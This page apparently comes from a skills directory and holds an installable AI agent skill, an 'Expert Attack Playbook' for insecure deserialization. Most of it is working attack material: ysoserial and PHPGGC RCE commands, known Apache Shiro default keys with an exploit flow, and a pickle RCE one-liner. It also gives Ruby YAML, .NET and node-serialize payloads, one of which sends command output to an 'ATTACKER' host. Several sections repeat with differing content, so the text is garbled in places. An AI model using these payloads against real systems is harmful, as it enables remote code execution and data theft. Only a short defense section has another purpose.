deserialization-insecure

安装量: 217
排名: #9496

安装

npx skills add https://github.com/yaklang/hack-skills --skill deserialization-insecure
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION
Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain. 0. RELATED ROUTING jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization) unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP) Advanced Reference Also load JAVA_GADGET_CHAINS.md when you need: Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.) SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r) Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains Detection fingerprints: magic bytes table by format (Java AC ED , .NET AAEAAD , Python pickle 80 0N , PHP O: , Ruby 04 08 ) 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION? Java Serialized Objects Indicator Where to Look Hex ac ed 00 05 Raw binary in request/response body, cookies, POST params Base64 rO0AB Cookies ( rememberMe ), hidden form fields, JWT claims Content-Type: application/x-java-serialized-object HTTP headers T3/IIOP protocol traffic WebLogic ports (7001, 7002) PHP Serialized Objects Indicator Where to Look O:NUMBER:"ClassName" pattern POST body, cookies, session files a:NUMBER:{ (array) Same locations phar:// URI usage File operations accepting user-controlled paths Python Pickle Indicator Where to Look Hex 80 03 or 80 04 (protocol 3/4) Binary data in requests, message queues Base64-encoded binary blob API params, cookies, Redis values pickle.loads / pickle.load in source Code review / whitebox 2. JAVA — GADGET CHAINS AND TOOLS ysoserial — Primary Tool

Generate payload (example: CommonsCollections1 chain with command)

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

payload.bin

Base64-encode for HTTP transport

java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

Common chains to try (ordered by frequency of vulnerable dependency):

CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x

Spring1, Spring2 — Spring Framework

Groovy1 — Groovy

Hibernate1 — Hibernate

JBossInterceptors1 — JBoss

Jdk7u21 — JDK 7u21 (no extra dependency)

URLDNS — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
java
-jar
ysoserial.jar URLDNS
"http://UNIQUE_TOKEN.burpcollaborator.net"
>
probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when
org.apache.commons.collections
(3.x) is on the classpath and the application calls
readObject()
on untrusted data.
Key classes in the chain:
InvokerTransformer
ChainedTransformer
TransformedMap
→ triggers
Runtime.exec()
during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the
rememberMe
cookie.
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow
:
Detect: response sets
rememberMe=deleteMe
cookie on invalid session
Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
AES-CBC encrypt with known key + random IV
Base64-encode → set as
rememberMe
cookie value
Send request → server decrypts → deserializes → RCE
DNSLog confirmation
(before full RCE): use URLDNS chain →
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
→ encrypt → set cookie → check DNSLog for hit.
Post-fix (random key)
Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
T3 protocol
(port 7001): direct serialized object injection
XMLDecoder
(CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType
IIOP protocol
alternative to T3

T3 probe — check if T3 is exposed:

nmap -sV -p 7001 TARGET

Look for: "T3" or "WebLogic" in service banner

Java RMI Registry RMI Registry (port 1099) accepts serialized objects by design:

ysoserial exploit module for RMI:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

Requires: vulnerable library on target's classpath

Works on: JDK <= 8u111 without JEP 290 deserialization filter

JDK Version Constraints
JDK Version
Impact
< 8u121
RMI/LDAP remote class loading works
8u121-8u190
trustURLCodebase=false
for RMI; LDAP still works
>= 8u191
Both RMI and LDAP remote class loading blocked
>= 8u191 bypass
Use LDAP → return serialized gadget object (not remote class)
3. PHP — unserialize AND PHAR
Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
Attack
craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF). Serialized Object Format O : 8 : "ClassName" : 2 : { s : 4 : "prop" ; s : 5 : "value" ; s : 4 : "cmd" ; s : 2 : "id" ; } // O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES} phpMyAdmin Configuration Injection (Real-World Case) phpMyAdmin PMA_Config class reads arbitrary files via source property: action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";} PHPGGC — PHP Gadget Chain Generator

List available chains:

phpggc -l

Generate payload (example: Laravel RCE):

phpggc Laravel/RCE1 system id

Common chains:

Laravel/RCE1-10

Symfony/RCE1-4

Guzzle/RCE1

Monolog/RCE1-2

WordPress/RCE1

Slim/RCE1

Phar Deserialization Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called. Triggering functions (partial list): file_exists() file_get_contents() fopen() is_file() is_dir() copy() filesize() filetype() stat() include() require() getimagesize() Attack flow : Upload a valid file (e.g., JPEG with phar polyglot) Trigger file operation: file_exists("phar://uploads/avatar.jpg") PHP deserializes phar metadata → gadget chain executes

Generate phar with PHPGGC:

phpggc -p phar -o exploit.phar Monolog/RCE1 system id 4. PYTHON — PICKLE reduce Method Python's pickle.loads() calls reduce() on objects during deserialization, which can return a callable + args: import pickle import os class Exploit : def reduce ( self ) : return ( os . system , ( "id" , ) ) payload = pickle . dumps ( Exploit ( ) )

Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes import pickletools pickletools . dis ( payload )

Shows opcodes: GLOBAL, REDUCE, etc.

Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks pickle . loads ( user_data ) pickle . load ( file_handle ) yaml . load ( data )

PyYAML without Loader=SafeLoader

jsonpickle . decode ( data ) shelve . open ( path ) Defensive Bypass: RestrictedUnpickler Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad: class RestrictedUnpickler ( pickle . Unpickler ) : def find_class ( self , module , name ) : if module == "builtins" and name in safe_builtins : return getattr ( builtins , name ) raise pickle . UnpicklingError ( f"forbidden: { module } . { name } " ) If safe_builtins includes eval , exec , or import → still exploitable. 5. DETECTION METHODOLOGY Found binary blob or encoded object in request/cookie? ├── Java signature (ac ed / rO0AB)? │ ├── Use URLDNS probe for safe confirmation │ ├── Identify libraries (error messages, known product) │ └── Try ysoserial chains matching identified libraries │ ├── PHP signature (O:N:"...)? │ ├── Identify framework (Laravel, Symfony, WordPress) │ ├── Try PHPGGC chains for that framework │ └── Check for phar:// wrapper in file operations │ ├── Python (opaque binary, base64 blob)? │ ├── Try pickle payload with DNS callback │ └── Check if PyYAML unsafe load is used │ └── Not sure? ├── Try URLDNS payload (Java) — check DNS ├── Try PHP serialized test string └── Monitor error messages for class loading failures 6. DEFENSE AWARENESS Language Mitigation Java JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead PHP Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations Python Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() 7. QUICK REFERENCE — KEY PAYLOADS

Java — URLDNS confirmation

java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

Java — RCE via CommonsCollections

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

PHP — Laravel RCE

phpggc Laravel/RCE1 system "id"

PHP — Phar polyglot

phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

Python — Pickle RCE

python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"

Shiro default key test

rememberMe= 8. RUBY DESERIALIZATION Ruby Marshal Marshal.load on untrusted data → RCE Fingerprint: binary data, no common text header Gadget chains exist for various Ruby versions Docker verification: hex payload via [hex_string].pack("H*") Ruby YAML (YAML.load) YAML.load (not YAML.safe_load ) executes arbitrary Ruby objects Pre Ruby 2.7.2 : Gem::Requirement chain → git_set: id / git_set: sleep 600 Ruby 2.x-3.x : Gem::Installer → TarReader → Kernel#system chain (longer, multi-step) Always test: YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation check Payload template:


!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::DependencyList
type
:
:
runtime
specs
:
-
!ruby/object:Gem::StubSpecification
loaded_from
:
"|id"
Note:
YAML.safe_load
is safe (Ruby 2.1+);
Psych.safe_load
also safe
9. .NET DESERIALIZATION
Traffic fingerprint
:
BinaryFormatter: hex
AAEAAD
(base64
AAEAAAD/////
)
ViewState: hex
FF01
or
/w
prefix
JSON.NET:
$type
property in JSON
BinaryFormatter
(most dangerous, deprecated in .NET 5+): arbitrary type instantiation
XmlSerializer
:
ObjectDataProvider
+
XamlReader
chain for command execution
<
root
xmlns:
xsi
=
"
http://www.w3.org/2001/XMLSchema-instance
"
xmlns:
xsd
=
"
http://www.w3.org/2001/XMLSchema
"
xmlns:
od
=
"
http://schemas.microsoft.com/powershell/2004/04
"
type
=
"
System.Windows.Data.ObjectDataProvider
"
>
<
od:
MethodName
>
Start
</
od:
MethodName
>
<
od:
MethodParameters
>
<
sys:
String
>
cmd
</
sys:
String
>
<
sys:
String
>
/c calc
</
sys:
String
>
</
od:
MethodParameters
>
<
od:
ObjectInstance
xsi:
type
=
"
System.Diagnostics.Process
"
/>
</
root
>
NetDataContractSerializer
similar to BinaryFormatter, full type info in XML
LosFormatter
used in ViewState, deserializes to
ObjectStateFormatter
JSON.NET
:
$type
property enables type control →
ObjectDataProvider
+
ExpandedWrapper
chains
{
"$type"
:
"System.Windows.Data.ObjectDataProvider, PresentationFramework"
,
"MethodName"
:
"Start"
,
"MethodParameters"
:
{
"$type"
:
"System.Collections.ArrayList"
,
"$values"
:
[
"cmd"
,
"/c calc"
]
}
,
"ObjectInstance"
:
{
"$type"
:
"System.Diagnostics.Process, System"
}
}
Tool
:
ysoserial.net
— generate payloads for all .NET formatters
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
POP gadgets
:
ObjectDataProvider
,
ExpandedWrapper
,
AssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
node-serialize
:
unserialize()
with IIFE (Immediately Invoked Function Expression)
Payload marker:
$$ND_FUNC$$
Add
()
at end to auto-execute:
{
"rce"
:
"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"
}
funcster
:
__js_function
property →
constructor.constructor
to access
process
{
"__js_function"
:
"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"
}
cryo
similar to funcster, serializes JS objects with function support RUBY DESERIALIZATION Marshal (Binary Format)

Ruby's Marshal.load is equivalent to Java's ObjectInputStream

Any class with marshal_dump/marshal_load can be a gadget

Detection: binary data starting with \x04\x08

Or hex: 0408

PoC gadget (requires vulnerable class in scope):

payload

"\x04\x08..."

hex-encoded gadget chain

Marshal . load ( payload )

triggers arbitrary code execution

YAML.load (Critical — Most Common Ruby Deser Sink)

YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

Ruby <= 2.7.2 — Gem::Requirement chain:

Triggers via !ruby/object constructor

-

- ! ruby / object :Gem :: Requirement requirements : ! ruby / object :Gem :: DependencyList specs : - ! ruby / object :Gem :: Source current_fetch_uri : ! ruby / object :URI :: Generic path : "| id"

Ruby 2.x–3.x — Gem::Installer chain:

Uses Gem::Installer → Gem::StubSpecification → Kernel#system

-

- ! ruby / hash :Gem :: Installer i : x ! ruby / hash :Gem :: SpecFetcher i : y ! ruby / object :Gem :: Requirement requirements : ! ruby / object :Gem :: Package :: TarReader io : & 1 ! ruby / object :Net :: BufferedIO io : & 1 ! ruby / object :Gem :: Package :: TarReader :: Entry read : 0 header : "abc" debug_output : & 1 ! ruby / object :Net :: WriteAdapter socket : & 1 ! ruby / object :Gem :: RequestSet sets : ! ruby / object :Net :: WriteAdapter socket : ! ruby / module 'Kernel' method_id : :system git_set : id

<-- command to execute

method_id : :resolve

Safe alternative: YAML.safe_load (whitelist of allowed types)

Tools elttam/ruby-deserialization — Ruby gadget chain generator frohoff/ysoserial inspiration → check Ruby-specific forks .NET DESERIALIZATION Traffic Fingerprinting Indicator Serializer Hex 00 01 00 00 00 / Base64 AAEAAD BinaryFormatter Hex FF 01 / Base64 /w DataContractSerializer ViewState starts with __VIEWSTATE LosFormatter / ObjectStateFormatter JSON with $type property JSON.NET (Newtonsoft) TypeNameHandling XML with XmlSerializer / NetDataContractSerializer BinaryFormatter / LosFormatter

Most dangerous — arbitrary type instantiation

Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64

LosFormatter wraps BinaryFormatter — same gadgets work

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64 XmlSerializer + ObjectDataProvider < root

< ObjectDataProvider MethodName = " Start " xmlns = " http://schemas.microsoft.com/winfx/2006/xaml/presentation "

< ObjectDataProvider.MethodParameters

< sys: String xmlns: sys = " clr-namespace:System;assembly=mscorlib "

cmd.exe </ sys: String

< sys: String xmlns: sys = " clr-namespace:System;assembly=mscorlib "

/c whoami </ sys: String

</ ObjectDataProvider.MethodParameters

< ObjectDataProvider.ObjectInstance

< ProcessStartInfo xmlns = " clr-namespace:System.Diagnostics;assembly=System "

< ProcessStartInfo.FileName

cmd.exe </ ProcessStartInfo.FileName

< ProcessStartInfo.Arguments

/c whoami </ ProcessStartInfo.Arguments

</ ProcessStartInfo

</ ObjectDataProvider.ObjectInstance

</ ObjectDataProvider

</ root

JSON.NET with TypeNameHandling { "$type" : "System.Windows.Data.ObjectDataProvider, PresentationFramework" , "MethodName" : "Start" , "MethodParameters" : { "$type" : "System.Collections.ArrayList, mscorlib" , "$values" : [ "cmd.exe" , "/c whoami" ] } , "ObjectInstance" : { "$type" : "System.Diagnostics.Process, System" } } Vulnerable when TypeNameHandling is set to Auto , Objects , Arrays , or All . Tools pwntester/ysoserial.net — primary .NET deserialization payload generator Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile NODE.JS DESERIALIZATION node-serialize (IIFE Pattern) // node-serialize uses eval() internally // Payload uses $$ND_FUNC$$ marker + IIFE: var payload = '{"rce":"$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}' ; // The trailing () makes it an Immediately Invoked Function Expression // When unserialize() processes this, it executes the function // Full HTTP exploit (in cookie or body): { "username" : "$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()" , "email" : "test@test.com" } funcster // funcster deserializes functions via constructor.constructor pattern: { "__js_function" : "function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}" } PHP create_function + Deserialization Combo // When a PHP class uses create_function in __destruct or __wakeup: // Serialize an object where: $a = "create_function" ; $b = ";}system('id');/" ; // The lambda body becomes: function(){ ;}system('id');/ } // Closing the original function body and injecting a command // In serialized form, private properties need \0ClassName\0 prefix: O : 7 : "Noteasy" : 2 : { s : 19 : "\0Noteasy\0method_name" ; s : 15 : "create_function" ; s : 14 : "\0Noteasy\0args" ; s : 21 : ";}system('id');/*" ; } 11. RUBY DESERIALIZATION Marshal

Ruby's native serialization. Dangerous when deserializing untrusted data.

Detection: Binary data starting with \x04\x08

One-liner gadget verification (hex-encoded payload):

payload

[ "040802" ] . pack ( "H*" )

Minimal Marshal header

Marshal . load ( payload ) YAML (CVE-rich surface)

YAML.load is DANGEROUS — equivalent to eval for Ruby objects

Safe alternative: YAML.safe_load

Ruby <= 2.7.2: Gem::Requirement chain

-

- ! ruby / object :Gem :: Requirement requirements : - ! ruby / object :Gem :: DependencyList specs : - ! ruby / object :Gem :: Source uri : "| id"

Ruby 2.x-3.x: Gem::Installer chain (more complex)

Triggers: git_set → Kernel#system

-

- ! ruby / object :Gem :: Installer i : x

(Full chain available in ysoserial-ruby / blind-ruby-deserialization)

Universal detection: supply YAML that triggers DNS callback

-

- ! ruby / object :Gem :: Fetcher uri : http : / / BURP_COLLAB / Tools : elttam/ruby-deserialization , mbechler/ysoserial (Ruby variant) 12. .NET DESERIALIZATION Fingerprinting Magic Bytes Format AAEAAD (base64) / 00 01 00 00 00 (hex) BinaryFormatter FF 01 or /w (base64) ViewState (ObjectStateFormatter) < (XML opening) XmlSerializer / DataContractSerializer JSON with $type key JSON.NET (TypeNameHandling enabled) BinaryFormatter (most dangerous)

Always dangerous when deserializing untrusted data

Tool: ysoserial.net

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64 ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw ViewState (ASP.NET)

If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

Leak machineKey from web.config (via LFI/backup) → forge ViewState

XmlSerializer + ObjectDataProvider < root xmlns: xsi = " http://www.w3.org/2001/XMLSchema-instance " xmlns: xsd = " http://www.w3.org/2001/XMLSchema "

< ObjectDataProvider MethodName = " Start "

< ObjectInstance xsi: type = " Process "

< StartInfo

< FileName

cmd.exe </ FileName

< Arguments

/c whoami </ Arguments

</ StartInfo

</ ObjectInstance

</ ObjectDataProvider

</ root

JSON.NET ($type abuse) { "$type" : "System.Windows.Data.ObjectDataProvider, PresentationFramework" , "MethodName" : "Start" , "ObjectInstance" : { "$type" : "System.Diagnostics.Process, System" , "StartInfo" : { "$type" : "System.Diagnostics.ProcessStartInfo, System" , "FileName" : "cmd.exe" , "Arguments" : "/c whoami" } } } Vulnerable when TypeNameHandling != None in JSON deserialization settings. Tools pwntester/ysoserial.net — primary .NET gadget chain generator NotSoSecure/Blacklist3r — decrypt/forge ViewState with known machineKey 13. NODE.JS DESERIALIZATION node-serialize (IIFE injection) // Vulnerable pattern: var serialize = require ( 'node-serialize' ) ; var obj = serialize . unserialize ( userInput ) ; // Payload: IIFE (Immediately Invoked Function Expression) // The $$ND_FUNC$$ prefix signals a serialized function { "rce" : "_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()" } // Key: the () at the end causes immediate execution upon deserialization funcster // Vulnerable: funcster.deepDeserialize(userInput) // Payload uses __js_function to inject via constructor chain: { "__js_function" : "function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()" } PHP create_function + Deserialization Combo // When create_function is available and object is deserialized: // Payload creates lambda with injected code: $a = "create_function" ; $b = ";}system('id');/" ; // The lambda body becomes: function anonymous() { ;}system('id');/ } // Effective: close original body, inject command, comment out rest // In serialized form (with private property \0ClassName\0): O : 8 : "ClassName" : 2 : { s : 13 : "\0ClassName\0func" ; s : 15 : "create_function" ; s : 12 : "\0ClassName\0arg" ; s : 18 : ";}system('id');/*" ; }

返回排行榜